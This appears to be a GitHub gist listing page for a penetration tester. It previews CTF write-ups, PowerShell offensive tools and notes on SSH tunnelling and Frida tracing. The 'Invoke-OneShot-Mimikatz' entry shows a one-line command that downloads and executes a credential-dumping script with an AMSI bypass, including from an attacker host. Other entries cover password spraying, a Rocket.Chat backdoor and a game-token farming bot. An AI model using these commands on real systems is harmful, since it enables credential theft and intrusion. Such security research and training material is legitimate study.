Skip to content

Instantly share code, notes, and snippets.

View pich4ya's full-sized avatar

LongCat pich4ya

View GitHub Profile
@pich4ya
pich4ya / Acnologia_Portal_Writeup.txt
Last active March 7, 2023 13:54
HackTheBox Cyber Apocalypse 2022 Intergalactic Chase - Acnologia Portal Writeup
# author Pichaya Morimoto ([email protected])
1. Register and Login
2. Submit Bug Report
Vulns:
- Tar Unzip Path Traversal
- Tar content => Overwrite flask_session's file type
#!/bin/python
# python tarbomb.py `pwd`/__init__.py pwn.tar.gz 10 app/
# Copyright 2020 Andrew Scott
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE
@pich4ya
pich4ya / Find-AclSth.ps1
Created April 16, 2022 12:28
Modified version of PowerView's Find-InterestingDomainAcl (Previously known as Invoke-ACLScanner) / Require PowerView.ps1
function Find-AclSth {
<#
.SYNOPSIS
Finds object ACLs in the current (or specified) domain with modification
rights set to non-built in objects.
Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
Author: Will Schroeder (@harmj0y)
<#
Author: Itamar Mizrahi (@MrAnde7son)
License: GNU v3
Required Dependencies: None
Optional Dependencies: None
#>
function Invoke-LocalUserSprayAttack
{
<#
@pich4ya
pich4ya / Invoke-OneShot-Mimikatz.ps1
Last active February 3, 2025 16:46
Invoke-OneShot-Mimikatz.ps1 - One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition (Tested and worked on Windows 10 x64 patched 2022-03-26)
# TLDR:
# iex(wget https://gist.github.com/pich4ya/e93abe76d97bd1cf67bfba8dce9c0093/raw/e32760420ae642123599b6c9c2fddde2ecaf7a2b/Invoke-OneShot-Mimikatz.ps1 -UseBasicParsing)
#
# @author Pichaya Morimoto ([email protected])
# One Shot for M1m1katz PowerShell Dump All Creds with AMSI Bypass 2022 Edition
# (Tested and worked on Windows 10 x64 patched 2022-03-26)
#
# Usage:
# 1. You need a local admin user's powershell with Medium Mandatory Level (whoami /all)
# 2. iex(wget https://attacker-local-ip/Invoke-OneShot-Mimikatz.ps1 -UseBasicParsing)
@pich4ya
pich4ya / rocket_chat_backdoor.txt
Created February 11, 2022 19:14
Rocket.Chat Backdoor with an admin user role
@author Pichaya Morimoto ([email protected])
Tested on Rocket.Chat 3.16.1
As mentioned in https://blog.sonarsource.com/nosql-injections-in-rocket-chat
"Rocket.Chat has a feature called Integrations that allows creating incoming and outgoing web hooks. These web hooks can have scripts associated with them that are executed when the web hook is triggered."
However, no exact instruction was given. Here we go.
PoC:
@pich4ya
pich4ya / Blackfield.txt
Last active July 27, 2024 09:15
HTB Blackfield - Unintended Ways to get root.txt
# @author LongCat
เจอว่า htb เครื่อง Blackfield น่าจะเสียทำให้อ่าน root.txt ได้ด้วยท่าง่ายเกิน
(https://app.hackthebox.eu/machines/255)
ไอเดียเดิมคือ เราเป็น domain user (svc_backup) อยู่ในกลุ่ม Backup Operators
อยากจะไปอ่าน root.txt ที่เป็นของ administrator ในเฉลย official บอกไว้ 2 ท่าให้
1. ใช้ wbadmin ทำ backup+restore ไฟล์ ntds.dit (ที่เก็บ ntlm ของ AD)
และแกะเอา ntlm มา pth เข้าไปตบ domain admin
@pich4ya
pich4ya / flutter_ios.js
Created June 18, 2021 06:28 — forked from AICDEV/flutter_ios.js
Frida trace Flutter Functions on iOS
/**
* run the script to a running app: frida -U "appName" -l flutter_ios.js --no-pause
* start app direct with the script: frida -Uf bundleIdentifier -l flutter_ios.js --no-pause
*/
// #############################################
// HELPER SECTION START
var colors = {
"resetColor": "\x1b[0m",
"green": "\x1b[32m",
"yellow": "\x1b[33m",
@pich4ya
pich4ya / ssh_tunnel.txt
Last active October 9, 2023 15:44
การทำ SSH Tunnel (-D, -R, -L)
# @author LongCat ([email protected])
# การทำ SSH Tunnel (-D, -R, -L)
กรณี 1: -D ทำ socks4a proxy ไปออกเน็ตที่เครื่อง ssh server
ทำให้เรามี proxy บนเครื่อง MacOS ที่ถ้าเราใช้ proxy นี้จะ route network ไปที่ ssh server ได้
ตัวอย่างเช่น server A ต่อหา server B ได้, เราต่อหา server A ได้ แต่เราต่อหา server B โดยตรงไม่ได้
ทำให้เราสามารถทำ proxy ให้เน็ตวิ่งไป server A -> server B ต่ออีกที
// บอทปั้มเงิน TLM เกม Alien Worlds (เงินจะเอาไปแลกเงินจริงใน Binance ได้)
// ไว้ทดสอบเฉย ๆ อย่าเอาไปใช้จริง คนเขียนไม่รับผิดชอบต่อบั๊กใด ๆ ทั้งสิ้น
//
// วิธีใช้:
// 1. สมัคร + เข้า https://play.alienworlds.io/
// 2. ต้องเคย mine แบบ manual ก่อน 1 ครั้ง
// 3. ก๊อปสคริปท์นี้ไปแปะใน Console (F12)
// น่าจะมีบั๊กพวก rate limit อะไรทั้งหลาย กับ if/loop บางอันเอาออกได้
// ลองรันเล่น ๆ 5 ชม จาก user เปล่า ๆ ได้มา 8 TLM (ขึ้นกับดวงและอื่นๆด้วยมั่ง)
// ใครว่าง ๆ แก้เป็นยิงเข้า API โดยตรงไม่ผ่าน JS น่าจะเสถียรกว่าเยอะมาก